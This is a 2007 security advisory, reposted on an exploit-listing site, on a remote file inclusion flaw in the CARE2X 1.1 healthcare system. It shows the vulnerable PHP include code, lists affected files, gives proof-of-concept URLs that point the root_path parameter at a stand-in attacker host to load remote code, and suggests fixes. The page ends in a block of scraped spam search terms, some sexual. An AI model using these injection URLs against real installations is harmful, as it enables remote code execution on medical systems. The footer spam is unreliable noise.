about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , CARE2X 1.1 (root_path) Remote File Inclusion Vulnerability



2007-03-13 CARE2X 1.1 (root_path) Remote File Inclusion Vulnerability
Rated as : High Risk

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                             
.OR.ID
ECHO_ADV_72$2007

-------------------------------------------------------------------------
[ECHO_ADV_72$2007] CARE2X (root_path) Remote File Inclusion Vulnerability
-------------------------- ----------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: March, 13th 2007
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv72-theday-2007.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: CARE2X
version		: 1.1
URL		: http://www.care2x.org

Care2x integrates data, functions and workflows in a healthcare
environment. 
It is currently composed of four major components. 
Each of these components can also function individually.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

- Invalid include_once function at include/inc_checkdate_lang.php
-----------------------include/inc_checkdate_lang.php------------

<?
if(file_exists($root_path."language/$lang/lang_".$lang."_checkdate.php"))
include_once($root_path."language/$lang/lang_".$lang."_checkdate.php");
 else
include_once($root_path."language/en/lang_en_checkdate.php");
if(file_exists($root_path."language/$lang/lang_".$lang."_date_time.php"))
include_once($root_path."language/$lang/lang_".$lang."_date_time.php");
 else
include_once($root_path."language/en/lang_en_date_time.php");
?>

----------------------------------------------------------

Input passed to the "$root_path" parameter in
inc_checkdate_lang.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

include/inc_charset_fx.php
include/inc_config_color.php
include/inc_currency_set.php
include/inc_db_makelink.php
include/inc_diagnostics_report_fx.php
include/inc_environment_global.php
include/inc_front_chain_lang.php
include/inc_init_crypt.php
include/inc_load_copyrite.php
include/inc_news_save.php
main/barcode-labels.php
main/chg-color.php
main/config_options_gui_template.php
main/config_options_mascot.php
main/diagnostics-report-index.php


and More ....



Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt?



Solution:
~~~~~~

- Sanitize variable $root_path affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
     EcHo Research & Development Center
     http://advisories.echo.or.id
     erdc[at]echo[dot]or[dot]id
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF
]----------------------------------

securitydot.net - 2007-03-13

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 20:34:58 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.saniya BOLLYWOOD php-nuke+a www.xing66 +www.emplo news for C your site www.za3ror Www.s& 200 /compo ip board 2 news for c www.cengdi nude pics php-nuke 2 tamil girl sex free m Bollywod s Advanced G /viewscree zoosexy cl !C99Shell sexgallery bbs.126oo. video saxy www.znhr.z Exploits S PHP Advanc www.mqdm.n www.langzi world tami Sexvideopl zmo.net.ru down.huoyu arbsexscho sex arabic miley cyru 1componen www.60533. Mobile 2008 world blackgirls MG2 v0.5.0 expl...nWW titt mobil htm WWW.Tamil Picha ngon CMS is Fre sexdruid.c